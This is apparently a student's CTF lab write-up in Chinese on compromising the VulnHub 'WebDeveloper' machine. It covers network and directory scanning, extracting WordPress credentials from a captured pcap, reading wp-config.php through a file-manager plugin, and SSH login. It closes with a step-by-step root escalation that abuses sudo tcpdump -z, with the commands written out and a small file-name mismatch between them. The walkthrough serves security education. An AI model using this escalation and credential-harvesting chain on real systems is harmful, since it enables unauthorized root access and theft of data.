实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。
系统环境:Kali Linux 2、WebDeveloper靶机来源:Vulnerable By Design ~ VulnHub?
实验工具:不限
目的:获取靶机Web Developer 文件/root/flag.txt中flag。
基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件?“cap”;分析?“cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。
输入netdiscover -r 192.168.142.132/24
192.168.142.132为kali的IP。这里可以发现webdeveloper的IP为192.168.142.134
输入命令 nmap -sV 192.168.142.134
192.168.142.134为靶机IP
目标主机开放了80端口,开启了http服务;
目标主机开放了22端口,开启了ssh服务。
在火狐浏览器主机访问靶机IP192.168.142.134
发现cms内容管理系统是wordpress
此外还发现有搜索框,登录框
在最后看到wordpress[4.9.8],cms使用的模板是wordpress[4.9.8]
WPScan是一个扫描?WordPress?漏洞的黑盒子扫描器,它可以为所有?Web?开发人员扫描?WordPress?漏洞并在他们开发前找到并解决问题。
该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。
参考:??????Kali WPScan的使用(WordPress扫描工具)_wordpress利用awgs扫描-CSDN博客
输入命令dirb http://192.168.142.134
?
和网络流量有关的目录(路径)应该是http://192.168.142.134/ipdata/
尝试一下打开
打开是这样,发现analyze.cap文件
下载后用wireshark打开,因为前面访问192.168.142.134时发现该网站可以post传参登录
所以尝试http下的post搜索http.request.method == POST
这里看到了log:webdeveloper和pwd:Te5eQg&4sBS!Yr$)wf%(DcAd,尝试登录
(网站管理员账号与操作系统账号是不同概念)
利用账号密码进入后台
在plugin安装File?manager
点击plugins;在里面的搜索框搜索File?manager;点击install now;完成后点击active
点击WP File Manager
找到wp-config.php并且打开
找到账号webdeveloper密码MasterOfTheUniverse
输入命令ssh webdeveloper@192.168.142.134
并按指令输入密码,即可远程控制
先直接尝试 cat /root/flag.txt
不行再尝试whoami
然后再ls -l /root/flag.txt
不行再试sudo cat /root/flag.txt
这里的以上结果均是无法查看。
输入命令sudo -l 并输入密码,查看当前身份可执行的命令
发现可以root权限执行tcpdump命令
创建攻击文件
touch /tmp/exploit1
写入shellcode
echo 'cat /root/flag.txt'?>?/tmp/exploit
赋予可执行权限
chmod +x /tmp/exploit
利用tcpdump执行任意命令
sudo tcpdump -i eth0 -w /dev/null?-W?1?-G?1?-z /tmp/exploit -Z?root
获得flag:cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量
以虚拟机为攻击目标时,首先要确定它的存活情况,并且确定它的IP,存活扫描可以用netdiscover扫描,此外还有arp-scan 也可以;
然后利用扫描工具nmap知道靶机的端口开放情况,也要查看靶机存在哪些漏洞,看看由哪里为切入点进行攻击;
确定从哪个端口或漏洞切入后,找到有关的攻击信息;
利用工具对有用的信息进行切入,获取账号密码,进入靶机中;
在靶机中,利用可执行命令对靶机进行执行自己的命令,从而找到并获取自己需要的flag。
如本次靶机http服务网站存在漏洞,插件利用(有漏洞),对网站目录枚举找到存在账号密码的流量包,在里面寻找到可以登录的账号密码,然后远程连接登录敌方主机,寻找自己要找的flag,遇到权限问题时,查看当前身份可执行的命令,并利用可执行命令获得flag。